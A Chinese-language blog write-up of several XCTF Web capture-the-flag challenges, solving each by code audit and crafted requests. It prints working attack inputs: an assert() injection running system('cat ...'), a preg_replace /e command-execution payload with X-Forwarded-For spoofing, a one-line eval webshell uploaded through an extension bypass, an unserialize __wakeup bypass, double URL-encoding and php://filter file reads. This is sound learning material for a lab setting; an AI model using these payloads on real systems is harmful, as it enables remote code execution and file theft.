又做了几道攻防世界的Web题,总结一下。
题目没提示。点开题目,以为是命令执行。然而几番尝试后,发现并不是。。。
其它也没什么提示,没思路了。偷瞄大佬博客
然后我开始复现,?url=%80
产生报错,找到绝对路径。
从配置文件settings.py的报错中查看database的相关信息?url=@/opt/api/api/settings.py
?url=@/opt/api/database.sqlite3
,报错信息中搜索ctf
题目提示:设备管理基础服务数据处,有入侵者的痕迹。这个地方应该就是题了。
看到?id=1
第一个想法便是SQL注入,结果失败了。偷瞄大佬博客,发现需要爆破。于是我爆破id值
所以id=2333
时,返回长度不同,即可能返回了flag,查看得到flag
emmm。题目报错。。等题目正常了再更新总结。
题目没提示,直接开始做题。先查看源码
有个flag页面,直接尝试,发现返回空白页面。然后再次发现有效信息,发现下面这个
Git?!难道存在git源码泄露。果然是
使用GitHack.py
工具下载源码,并打开
assert()函数
检查一个断言是否为 FALSE。
bool assert ( mixed $assertion [, string $description ] )
如果 assertion 是字符串,它将会被 assert()
当做 PHP 代码来执行。
PHP 之 assert()函数
strpos() 函数
查找字符串在另一字符串中第一次出现的位置。
file_exists() 函数
检查文件或目录是否存在。
审计源码:
1、git传入page并赋值给$page
。$file
等于templates目录下的(page值).php
文件内容
2、如果strpos('$file', '..') === false
,$flie
会被 assert()
当做 PHP 代码来执行。
3、用file_exists() 函数
检查$file
文件是否存在。如果存在,返回文件内容。
然后就是拼接构造payload了(又偷瞄了大佬博客)
about.php', '123') === false and system('cat templates/flag.php') and strpos('templates/flag
题目,没有提示,只有个文件,下载查看
应该是js代码(涉及了我的盲区,所以偷瞄大佬博客)。
eval() 函数:可计算某个字符串,并执行其中的的 JavaScript 代码。
alert() 函数:用于显示带有一条指定消息和一个 确定按钮的警告框。
修改整理如下:
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)
}
}
}
document.write('');
delete
js代码一般可以在浏览器控制台执行。加上标签也可以在html执行。控制台执行和html执行都是一个输入框。
emmm。。。又不知道了(再次偷瞄)。
方法一:审计代码,满足关键变量e的正则条件
e.length==16
e.match(/^be0f23/)!=null
e.match(/233ac/)!=null
e.match(/e98aa$/)!=null
e.match(/c7be9/)!=null
^
表示开头一定要匹配到be0f23,$
表示结尾一定要匹配到e98aa,其它的只要匹配到就行,没有位置要求
于是我们构造e的值:be0f233ac7be98aa
将构造的e输入到最初html执行的输入框中得到flag
方法二:直接将下面代码复制到控制台执行
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)
}
emmm。题目报错。。等题目正常了再更新总结。
题目没有提示
百度翻译一下,“你能浏览这个网站吗?”
不能。。御剑扫描无果,源码也无发现。url后加index.php
也不对。。。
看大佬wp,竟然是url后加index.phps
。。。
urldecode()函数
解码 URL 字符串函数。
此函数用于解码给出的已编码字符串中的任何 %##以及中文等被编码的内容。 (加号(’+’)被解码成一个空格字符)。
该函数经常被使用于php解码URL中的中文字符串。
相关函数:urlencode()函数,编码URL字符串函数。
审计代码,get传入的id经过urldecode()函数解码,如果解码结果为admin
,输出“Access granted!”和Key值(即flag)。
尝试对d进行url编码,即传入?id=a%64min
,失败了。。。
于是再次分析代码,发现是经过两次urlencode()函数解码。难道再对%
编码?!%
编码结果%25,
传入?id=a%2564min
,得到flag
题目提示unserialize,即反序列化。总结过,所以直接做题
于是用serialize函数进行序列化(试过一句话,没有成功)
class xctf{
var $flag = '111';
}
$class1 = new xctf;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>
测试,发现显示”bad requests“。
查询百度发现,当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
payload
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
题目提示:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
所以工控云管理系统设备维护中心存在后门。查看源码
几经尝试,发现,存在文件包含漏洞,可以使用php://filter
伪协议对index.php进行读取
Base64解码,找到关键代码如下:
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "
Welcome My Admin !
";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
代码审计一下:
get传入pat、rep、sub并分别赋值给变量$pattern
、$replacement
、 $subject
。如果设置了$pattern
、$replacement
、 $subject
,执行preg_replace($pattern, $replacement, $subject);
进行正则表达式的搜索和替换。
preg_replace( pattern , replacement , subject ) 函数
当pattern指明/e标志时 ,preg_replace()会将replacement部分的代码当作PHP代码执行 (简单的说就是将replacement参数值放入eval()结构中)
参考博客:深入研究PHP中的preg_replace和代码执行
构造payload寻找flag:
?pat=/test/e&rep=system('find / -iname flag')&sub=test
源码提示127.0.0.1,所以X-Forwarded-For进行欺骗,Forward发包
ls查看flag目录内容
再通过cat命令,查看flag.php
内容。查看源码,得到flag
题目没有提示。
打开题目,注册用户。进入到设置密码页面,修改密码,抓包
尝试更改用户名为admin。发包,提示IP禁止。
所以XFF(X-Forwarded-For)欺骗:X-Forwarded-For: 127.0.0.1
登录成功。Where Is The Flag?查看源码
filemanage,文件管理?!我学过文件上传漏洞和文件包含漏洞。应该就是其中一种,尝试之后发现do=upload
时,是文件上传页面。应该就是文件上传漏洞了
上传测试发现,只能上传图片
1、写一个php文件,后缀改为.jpg
,抓包改为.php
进行文件类型绕过,结果失败。
2、.php
改为.php3
、.php5
也是失败。
3、又想到做i春秋Web题Upload时,用到
<script language="pHp">@eval($_POST['a'])</script>
于是尝试再尝试,发现后缀还要是.php3
或.php5
才能绕过
发包得到flag
还没搞懂,过段时间补上总结
题目提示:解密
相关函数
strrev()
:反转字符串。
str_rot13()
:对字符串执行 ROT13 编码。
base64_encode()
:对数据进行base64编码
base64_decode()
:对数据进行base64解码
审计php代码,写出PHP解密代码
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($miwen){
$_o=base64_decode(strrev(str_rot13($miwen)));//echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
return strrev($_);
}
echo decode($miwen);
?>
还可以写成python脚本进行解密。我不太会写,引用大佬脚本:
import base64
def python_decode(string):
zimu = "abcdefghijklmnopqrstuvwxyz"
rot_13 =""
for i in string:
if i.isdigit():
rot_13 += i
else:
try:
rot_13 += zimu[zimu.index(i)-13]
except:
rot_13 += zimu[zimu.index(i.lower())-13].upper()
fz = rot_13[::-1]
base = base64.b64decode(fz)
base = [chr(ord(i)-1) for i in base]
fz = base[::-1]
print "".join(fz)
python_decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws")
就先总结那么多吧,后边的题貌似很难。继续努力吧。。。